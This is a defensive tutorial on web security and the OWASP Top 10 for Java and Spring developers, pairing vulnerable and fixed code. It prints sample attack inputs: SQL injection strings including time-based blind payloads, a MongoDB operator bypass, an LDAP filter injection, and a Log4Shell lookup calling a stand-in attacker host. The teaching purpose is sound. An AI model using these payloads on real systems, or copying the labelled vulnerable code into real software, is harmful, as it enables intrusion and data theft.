امنیت وب و OWASP: XSS، CSRF، Injection و بیشترWeb Security & OWASP: XSS, CSRF, Injection and More

Every web application signs an unwritten contract with the outside world: "I accept input and do something useful with it." The attacker signs the same contract; only their input differs. Web security means your system stays as predictable on malicious input as it is on well-behaved input.

Most engineers learn security as a list of don'ts: "don't concatenate SQL", "don't write to innerHTML". That gets you past a junior interview, not a senior one. What a senior interviewer probes is the mechanism: why does PreparedStatement fix the problem while hand-rolled escaping does not? Why is CSRF irrelevant for an API using Authorization: Bearer, yet critical for the same API using a cookie?

1. The mental model: trust boundaries and attacker models

Three attacker models are always present: the network attacker (sees or tampers with traffic → TLS, HSTS, Secure cookies); the web attacker (owns one site and lures the victim there → CSRF, clickjacking, reflected XSS; cheapest and most dangerous); and the malicious authenticated user (a real account after somebody else's data → IDOR). And your client is just an HTTP program anyone can replace with curl: client-side validation is UX, never a control.

What the OWASP Top 10 is

OWASP is a non-profit foundation, and the Top 10 is an awareness document, not an audit standard:

Two 2025 changes to know: SSRF is no longer its own category and sits under Broken Access Control, and A10 enters for the first time — "what happens when something breaks" is now its own vulnerability class. And "we cover the Top 10, so we're secure" is a red flag: the list is deliberately short. The systematic reference is OWASP ASVS, and for APIs the OWASP API Security Top 10.

2. Threat modelling with STRIDE

You can find half your security bugs before writing code. STRIDE names six threat classes, each violating one security property:

The method: draw a data flow diagram, mark the trust boundaries, and ask the six questions above at every boundary.

Data flow diagram with trust boundaries — نمودار جریان داده با مرزهای اعتماد:

flowchart LR
    U[Browser / Mobile] -->|HTTPS| GW[API Gateway]
    GW -->|JWT| SVC[Order Service]
    SVC -->|JDBC| DB[(PostgreSQL)]
    SVC -->|HTTP| EXT[Third-party Payment API]
    ADM[Admin Console] -->|HTTPS| GW
    subgraph TB1[Trust boundary: public internet]
        U
        ADM
    end
    subgraph TB2[Trust boundary: internal network]
        SVC
        DB
    end

3. The Injection family (A05:2025)

3.1 SQL Injection

// VULNERABLE: data and command share one flat string
String sql = "SELECT id, email, role FROM users WHERE email = '" + email + "'";
try (Statement st = connection.createStatement();
     ResultSet rs = st.executeQuery(sql)) { ... }

With email = ' OR '1'='1, this is what the database actually parses:

SELECT id, email, role FROM users WHERE email = '' OR '1'='1';

SELECT id, email, role FROM users WHERE email = '' OR '1'='1';

Next comes UNION ALL to pull out arbitrary columns — on PostgreSQL via current_setting('is_superuser') and version(), on Oracle via SYS_CONTEXT('USERENV','SESSION_USER') and v$version (with the FROM dual Oracle needs). The fix is the same on both:

// SAFE: the SQL text is parsed once, parameters travel in a separate channel
try (PreparedStatement ps = connection.prepareStatement(
        "SELECT id, email, role FROM users WHERE email = ?")) {
    ps.setString(1, email);
    try (ResultSet rs = ps.executeQuery()) { ... }
}

The same logic holds in JPA:

// VULNERABLE
em.createQuery("select u from User u where u.email = '" + email + "'", User.class);

// SAFE — bound, not interpolated
em.createQuery("select u from User u where u.email = :email", User.class)
  .setParameter("email", email)
  .getResultList();

public interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmailIgnoreCase(String email);          // derived: always parameterised

    @Query("select u from User u where u.email = :email and u.tenantId = :tenantId")
    Optional<User> findScoped(@Param("email") String email, @Param("tenantId") long tenantId);
}

The dynamic ORDER BY trap

Column names, table names, ASC/DESC and SQL keywords are not bindable; the only safe route is an allowlist:

private static final Map<String, String> SORTABLE_COLUMNS =
        Map.of("createdAt", "created_at", "email", "email", "id", "id");

String column = SORTABLE_COLUMNS.get(sortKey);
if (column == null) throw new IllegalArgumentException("Unsupported sort key: " + sortKey);
String dir = "desc".equalsIgnoreCase(direction) ? "DESC" : "ASC";
String sql = "SELECT id, email, role FROM users ORDER BY " + column + " " + dir
           + " OFFSET ? ROWS FETCH NEXT ? ROWS ONLY";

SELECT id, email, role FROM users
ORDER BY created_at DESC
OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY;  -- PostgreSQL also accepts LIMIT 10 OFFSET 20

SELECT id, email, role FROM users
ORDER BY created_at DESC
OFFSET 20 ROWS FETCH NEXT 10 ROWS ONLY;  -- Oracle 12c+ row limiting clause

The attacker cannot always see output; then they move to blind and time-based techniques:

-- time-based: 5 seconds slower means the guessed condition was true
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL --

-- Oracle has no pg_sleep; DBMS_PIPE.RECEIVE_MESSAGE is the classic equivalent
' OR (SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual) = 0 --

And the layer everyone forgets: assume one call site slips through one day. The app's database user should not be SUPERUSER/DBA or hold DROP, and on sensitive tables should ideally only get SELECT on the columns it needs (column-level GRANT on PostgreSQL, a view plus GRANT SELECT on Oracle). That is the difference between "one table leaked" and "the whole database is gone" — see sql-mastery.

3.2 NoSQL Injection

In MongoDB the query is itself a document; if the user controls its structure they inject an operator, not a string:

// VULNERABLE: user-controlled JSON becomes part of the query document
collection.find(Document.parse("{ \"email\": " + rawUserInput + " }")).first();

// SAFE: build criteria programmatically; values stay values
User user = mongoTemplate.findOne(new Query(Criteria.where("email").is(email)), User.class);

With rawUserInput = {"$ne": null} the filter becomes "any user whose email is not null" — a complete login bypass.

3.3 LDAP Injection

LDAP filters are a language too: (&(uid=alice)(objectClass=person)). Feed in *)(uid=*))(|(uid=* and the filter opens up and returns everyone.

String filter = "(uid=" + LdapEncoder.filterEncode(username) + ")";   // escape for the filter grammar
LdapQuery query = LdapQueryBuilder.query().where("uid").is(username);  // safer: the builder encodes

filterEncode() is for a value inside a filter, nameEncode() for a DN component; different grammars, not interchangeable — the same context lesson as XSS.

3.4 OS Command Injection

// VULNERABLE: an explicit shell interprets ; | && $() and friends
new ProcessBuilder("/bin/sh", "-c", "convert " + fileName + " out.png").start();

// SAFE: no shell, arguments passed as a real argv array
Process p = new ProcessBuilder("/usr/bin/convert", inputPath.toString(), outputPath.toString())
        .redirectErrorStream(true)
        .start();
if (!p.waitFor(30, TimeUnit.SECONDS)) {
    p.destroyForcibly();
    throw new IllegalStateException("convert timed out");
}

4. Cross-Site Scripting (XSS)

Three flavours: Stored (persisted and served to everyone — most dangerous, since it needs no lure), Reflected (returned in the same response, needing one click), and DOM-based (no server involvement; client-side JavaScript writes location.hash into a sink such as innerHTML).

Why context is everything

"Escaping" is not one operation; the grammar differs for every position in the document:

<!-- th:text escapes for the HTML text context (safe by default) -->
<p th:text="${comment.body}">placeholder</p>

<!-- th:utext renders raw HTML — only for content you sanitised yourself -->
<div th:utext="${sanitisedRichText}"></div>

<!-- inline JS: Thymeleaf escapes for the JavaScript context, not the HTML one -->
<script th:inline="javascript">
  const userName = /*[[${user.name}]]*/ 'placeholder';
</script>

For rich content that must stay HTML, sanitize instead of escaping — with owasp-java-html-sanitizer (version 20260313.1):

private static final PolicyFactory POLICY = Sanitizers.FORMATTING
        .and(Sanitizers.BLOCKS)
        .and(Sanitizers.LINKS)                       // forces safe schemes, adds rel=nofollow
        .and(new HtmlPolicyBuilder().allowElements("p", "ul", "li", "code", "pre").toFactory());

String safeHtml = POLICY.sanitize(untrustedHtml);    // allowlist-based, not blacklist

Content Security Policy: the second line of defence

A strict policy with a fresh nonce per request:

byte[] bytes = new byte[16];
new SecureRandom().nextBytes(bytes);
String nonce = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
request.setAttribute("cspNonce", nonce);
response.setHeader("Content-Security-Policy",
        "default-src 'self'; script-src 'nonce-" + nonce + "' 'strict-dynamic' https:; "
      + "object-src 'none'; base-uri 'none'; frame-ancestors 'none'; "
      + "require-trusted-types-for 'script'; report-uri /csp-report");

If the policy is static, Spring Security's own DSL is enough:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
);

// roll it out in report-only mode first: add .reportOnly() to the same builder

5. Cross-Site Request Forgery (CSRF)

Your browser attaches the session cookie automatically, regardless of which site the request originated from; the attacker only has to get you to open their page.

CSRF attack flow — جریان حملهٔ CSRF:

sequenceDiagram
    participant V as Victim Browser
    participant E as evil.example
    participant B as bank.example
    V->>B: Login (session cookie stored)
    V->>E: Visits attacker page
    E-->>V: Auto-submitted form targeting bank.example/transfer
    V->>B: POST /transfer (session cookie attached automatically)
    B->>B: Cookie is valid, request looks authentic
    B-->>V: 200 Money moved

Defence 1: SameSite

Strict is never sent on cross-site navigation (safest, but a user clicking your link from an email will not see their session). Lax is the effective browser default: sent on top-level GET navigations, not on cross-site POST. None is sent everywhere and must be paired with Secure.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=lax

Defence 2: the synchronizer token

The server keeps a random value in the session and embeds it in the form; a state-changing request is accepted only when the submitted token matches,. Spring Security has this on by default for POST, PUT, PATCH and DELETE.

@Bean
SecurityFilterChain csrfChain(HttpSecurity http) throws Exception {
    http.csrf(csrf -> csrf
            // BREACH-resistant handler is the default; shown explicitly for clarity
            .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler())
            .ignoringRequestMatchers("/api/webhooks/**"));   // only stateless, signature-verified paths
    return http.build();
}

For an SPA that must read the token from a cookie and put it in a header:

// Spring Security bundles the SPA-friendly repository and handler in one call
http.csrf(csrf -> csrf.spa());

// or explicitly
http.csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));

6. Broken Access Control (A01:2025)

The number one category, because unlike injection no tool can know which user should reach which record; that knowledge lives only in the product team's heads.

6.1 IDOR / BOLA

// VULNERABLE: authenticated, but not authorised
@GetMapping("/api/invoices/{id}")
public InvoiceDto get(@PathVariable long id) {
    return invoiceService.findById(id);   // any logged-in user can read any invoice
}

Three defences, from weakest to strongest:

// 1) check after loading — works, but the object is already in memory
@PostAuthorize("returnObject.ownerId == authentication.name")
public InvoiceDto findById(long id) { ... }

// 2) push ownership into the query — the safest default
Optional<Invoice> findByIdAndTenantId(long id, long tenantId);

-- 3) enforce it below the application: PostgreSQL row level security
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY invoice_tenant_isolation ON invoices
  USING (tenant_id = current_setting('app.tenant_id')::bigint);
-- the application sets it per transaction:
SET LOCAL app.tenant_id = '42';

-- Oracle: Virtual Private Database adds the same predicate transparently
BEGIN
  DBMS_RLS.ADD_POLICY(object_schema => 'APP', object_name => 'INVOICES',
                      policy_name => 'INVOICE_TENANT_ISOLATION',
                      function_schema => 'APP', policy_function => 'TENANT_PREDICATE',
                      statement_types => 'SELECT,UPDATE,DELETE');
END;
/
-- TENANT_PREDICATE returns: 'tenant_id = SYS_CONTEXT(''APP_CTX'',''TENANT_ID'')'

One warning: a UUID is not a security control. It turns "increment an integer" into "guess 122 bits" and is worth doing, but it is security through obscurity: identifiers leak into logs, shared URLs, the Referer header and other APIs' responses. Take the UUID, but keep the authorization check; answering only "UUIDs" will fail you.

6.2 Mass assignment

// VULNERABLE: the entity is the API contract; User has a `role` field
@PostMapping("/api/users")
public User create(@RequestBody User user) { return userRepository.save(user); }

The attacker posts {"email":"a@b.c","role":"ADMIN"} and becomes an admin. The fix is an explicit inbound DTO:

// SAFE: an explicit inbound DTO — only fields the client may set
public record CreateUserRequest(@Email @NotBlank String email,
                                @Size(min = 12, max = 200) String password) { }

@PostMapping("/api/users")
public UserDto create(@Valid @RequestBody CreateUserRequest request) {
    return userService.register(request.email(), request.password());
}

6.3 Path traversal

// SAFE: canonicalise first, then prove the result is inside the base directory
private static final Path BASE = Path.of("/srv/uploads").toAbsolutePath().normalize();

public byte[] read(String name) throws IOException {
    Path candidate = BASE.resolve(name).normalize();
    if (!candidate.startsWith(BASE)) {
        throw new AccessDeniedException("path traversal attempt");
    }
    return Files.readAllBytes(candidate);
}

6.4 Open redirect

// only relative paths that appear in an explicit allowlist may be redirected to
boolean ok = next != null && next.startsWith("/") && !next.startsWith("//")
          && ALLOWED_PATHS.contains(URI.create(next).getPath());
return ok ? "redirect:" + next : "redirect:/dashboard";

6.5 SSRF

Your app takes a URL from the user and fetches it; the attacker supplies an internal address and your server becomes their proxy inside the network. The control chain: https only → host allowlist → resolve and reject private IPs → no redirects → size and time limits.

private static final Set<String> ALLOWED_HOSTS = Set.of("images.partner.example", "cdn.partner.example");

public byte[] fetch(String rawUrl) throws IOException, InterruptedException {
    URI uri = URI.create(rawUrl);
    if (!"https".equalsIgnoreCase(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("scheme or host not allowed");
    }
    for (InetAddress a : InetAddress.getAllByName(uri.getHost())) {
        if (a.isLoopbackAddress() || a.isLinkLocalAddress() || a.isSiteLocalAddress()
                || a.isAnyLocalAddress() || a.isMulticastAddress()) {
            throw new IllegalArgumentException("target resolves to a private address");
        }
    }
    HttpClient client = HttpClient.newBuilder()
            .followRedirects(HttpClient.Redirect.NEVER)   // a redirect can point back inside
            .connectTimeout(Duration.ofSeconds(3)).build();
    HttpRequest req = HttpRequest.newBuilder(uri).timeout(Duration.ofSeconds(5)).GET().build();
    return client.send(req, HttpResponse.BodyHandlers.ofByteArray()).body();
}

7. Authentication and session failures (A07:2025)

Session fixation: the attacker forces a session identifier onto the victim; the victim logs in, and because the identifier never changed the attacker holds an authenticated session. The fix: change the identifier after a successful login — Spring Security does this by default.

http.sessionManagement(session -> session
        .sessionFixation(fixation -> fixation.changeSessionId())   // default
        .maximumSessions(3));

@Bean
PasswordEncoder passwordEncoder() {
    // stores {argon2}… prefixed hashes and still verifies legacy {bcrypt} ones
    return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}

// pin parameters explicitly if you need to (OWASP minimum: 19 MiB, t=2, p=1):
// new Argon2PasswordEncoder(16, 32, 1, 19 * 1024, 2)

DelegatingPasswordEncoder is the right pattern because it stores each hash with an algorithm prefix ({bcrypt}$2a$10$...), so you can change algorithm without resetting every user: old hashes still verify and are rewritten on the next successful login.

// Distributed brute-force protection: a fixed window counter in Redis
public boolean allow(String key) {
    String redisKey = "rl:login:" + key;
    Long count = redis.opsForValue().increment(redisKey);
    if (count != null && count == 1L) {
        redis.expire(redisKey, Duration.ofMinutes(15));   // start the window on first hit
    }
    return count == null || count <= MAX_ATTEMPTS;
}

8. Security Misconfiguration (A02:2025), headers and CORS

Spring Security sends these by default: Cache-Control: no-cache, no-store, max-age=0, must-revalidate, Pragma: no-cache, Expires: 0, X-Content-Type-Options: nosniff, X-Frame-Options: DENY, X-XSS-Protection: 0, plus HSTS over HTTPS. The rest is on you:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp.policyDirectives(
        "default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
    .referrerPolicy(r -> r.policy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN))
    .permissionsPolicy(p -> p.policy("geolocation=(), camera=(), microphone=()"))
    .httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true).maxAgeInSeconds(31536000)));

Clickjacking: the attacker puts your page in an invisible <iframe> over their own; the user thinks they click "claim your prize" while actually clicking "confirm transfer" in your app. The modern defence is frame-ancestors 'none'; for a legitimate embed use frame-ancestors https://partner.example — not ALLOW-FROM, which is unsupported.

CORS done right

CORS is not a security control for your server; it is a controlled relaxation of the browser's same-origin policy: "you may show my response to this origin".

@Bean
CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of("https://app.example.com", "https://admin.example.com"));
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "PATCH", "DELETE"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type", "X-XSRF-TOKEN"));
    config.setExposedHeaders(List.of("X-Total-Count"));
    config.setAllowCredentials(true);
    config.setMaxAge(Duration.ofMinutes(30));

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

For the actuator: list management.endpoints.web.exposure.include explicitly (never *), set management.endpoint.health.show-details=when-authorized and endpoint.env.show-values=never, and move it to a separate management.server.port the ingress does not publish.

9. Software and data integrity failures (A08:2025)

Gadget chain at a glance — زنجیرهٔ gadget در یک نگاه:

flowchart LR
    A[Untrusted bytes] --> B[readObject]
    B --> C[readObject of a library class]
    C --> D[Chained call via reflection or proxies]
    D --> E[Runtime.exec or template eval]
    E --> F[RCE]

// If you must deserialize native Java: install a filter (JEP 290, Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "com.example.dto.*;java.util.ArrayList;java.lang.String;!*");
try (ObjectInputStream in = new ObjectInputStream(source)) {
    in.setObjectInputFilter(filter);   // must be set before readObject
    Object o = in.readObject();
}

# JVM-wide belt and braces: reject everything not explicitly allowed
java -Djdk.serialFilter='com.example.dto.*;java.base/java.util.ArrayList;!*' -jar app.jar

# Java 17+ (JEP 415): a filter factory applies context-specific filters
java -Djdk.serialFilterFactory=com.example.security.AppSerialFilterFactory -jar app.jar

For Jackson, letting the real type be read from the JSON itself means telling the attacker which class to instantiate:

// DANGEROUS: attacker controls the type name in the payload
mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, DefaultTyping.NON_FINAL);

// SAFER: validate which subtypes are allowed
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.example.model.").build();
ObjectMapper mapper = JsonMapper.builder()
        .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();

// BEST: closed, explicit polymorphism — no class names on the wire at all
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({ @JsonSubTypes.Type(value = CardPayment.class, name = "card"),
                @JsonSubTypes.Type(value = WalletPayment.class, name = "wallet") })
public sealed interface Payment permits CardPayment, WalletPayment { }

XXE is the same problem in the XML world: a document can declare an entity that reads file:///etc/passwd or http://internal/....

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

XMLInputFactory xif = XMLInputFactory.newFactory();          // StAX
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// for XSLT also set XMLConstants.ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_STYLESHEET to ""

Case study: Log4Shell

CVE-2021-44228: Log4j 2 evaluated ${...} expressions inside the log message, and the jndi lookup could fetch and load an object from a remote LDAP/RMI server — so merely logging a User-Agent of ${jndi:ldap://attacker/x} became RCE. It was catastrophic because the attack surface was everywhere (any string reaching a log), the dependency was usually transitive, and the process could open arbitrary outbound connections. The patch sequence teaches something too: 2.15.0 mitigated it, 2.16.0 removed message lookups (CVE-2021-45046), 2.17.0 closed a recursive DoS (CVE-2021-45105) and 2.17.1 another path (CVE-2021-44832) — the first patch is rarely the last.

# find the real, transitive version you are shipping
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencyInsight --configuration runtimeClasspath --dependency log4j-core

10. Software supply chain failures (A03:2025)

Your code might be ten thousand lines; your dependencies are ten million. The new 2025 category is not just "old library" — it covers the build pipeline, registries, CI actions and base images.

In pom.xml the plugin takes <failBuildOnCVSS>7</failBuildOnCVSS> and a <suppressionFile>.

Since version 9, dependency-check uses the NVD API rather than the old data feeds; without an API key the database update is extremely slow and prone to throttling. The key is free and belongs in CI as a secret, not hard-coded.

Hardening the pipeline: pin dependencies to exact versions (LATEST/RELEASE banned); pin CI actions by commit SHA, not a movable tag; pin base images by digest (FROM eclipse-temurin:25-jre@sha256:...); use a signed internal registry; and watch for dependency confusion — if your internal package name is unclaimed publicly, somebody can publish it at a higher version and your build picks it up.

11. Logging, errors and exceptional conditions (A09 and A10)

// VULNERABLE: these two lines have leaked more credentials than any exploit
log.info("Calling payment API with request: {}", request);   // request holds the card PAN
log.debug("Authorization header = {}", authorizationHeader);

// SAFE: structured, minimal, explicit fields only
log.info("payment.initiated orderId={} amount={} pan={}",
        order.id(), order.amount(), mask(card.pan()));

@ExceptionHandler(Exception.class)
public ResponseEntity<ProblemDetail> onUnexpected(Exception ex) {
    String traceId = MDC.get("traceId");
    log.error("unhandled exception traceId={}", traceId, ex);   // full detail to the log only
    ProblemDetail body = ProblemDetail.forStatusAndDetail(HttpStatus.INTERNAL_SERVER_ERROR,
            "An unexpected error occurred. Reference: " + traceId);
    return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(body);
}

And in configuration: server.error.include-stacktrace=never, together with include-message=never and include-binding-errors=never.

12. A reference Spring Security configuration

A realistic starting point for a server-rendered app with cookie sessions (Spring Boot 4 / Spring Security 7):

@Configuration
@EnableWebSecurity
@EnableMethodSecurity      // enables @PreAuthorize / @PostAuthorize
public class SecurityConfig {

    @Bean
    SecurityFilterChain filterChain(HttpSecurity http,
                                    CorsConfigurationSource corsSource) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/", "/login", "/css/**", "/actuator/health").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated())              // secure by default

            .csrf(csrf -> csrf
                .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler()))

            .cors(cors -> cors.configurationSource(corsSource))

            .headers(headers -> headers /* the CSP, Referrer-Policy, Permissions-Policy
                                            and HSTS block shown earlier goes here */)

            .sessionManagement(session -> session
                .sessionFixation(fixation -> fixation.changeSessionId())
                .maximumSessions(3))

            .formLogin(form -> form
                .loginPage("/login")
                .failureUrl("/login?error")                 // never reveal which part failed
                .permitAll())

            .logout(logout -> logout
                .invalidateHttpSession(true)
                .deleteCookies("SESSION"));

        return http.build();
    }

    @Bean
    PasswordEncoder passwordEncoder() {
        return PasswordEncoderFactories.createDelegatingPasswordEncoder();
    }
}

13. How a real security review runs

Security pipeline — خط لولهٔ امنیت در چرخهٔ تحویل:

flowchart LR
    A[Design] -->|threat model| B[Code]
    B -->|SAST plus secret scan| C[Build]
    C -->|SCA plus SBOM| D[Artifact]
    D -->|image scan| E[Deploy]
    E -->|DAST plus config audit| F[Runtime]
    F -->|logs, alerts, bug bounty| A

SAST works on code without running it and is noisy, so tune its rules. Secret scanning belongs in a pre-commit hook and in CI; a secret committed once stays in history — after discovery, rotate it. SCA is the tooling above plus SBOM generation, DAST runs against the deployed app, and manual review covers what tools are blind to: business logic, object-level authorization, and multi-step flows such as password recovery. Pen tests and bug bounties validate, they do not replace.

A checklist for reviewing a PR: (1) where did the data enter and which interpreter does it reach? (2) does every access path check ownership, or only authentication? (3) is input bound to an explicit DTO or straight onto an entity? (4) do we fail closed, and did a secret reach the logs? (5) does a new endpoint have rate limiting, an audit event and an authorization test?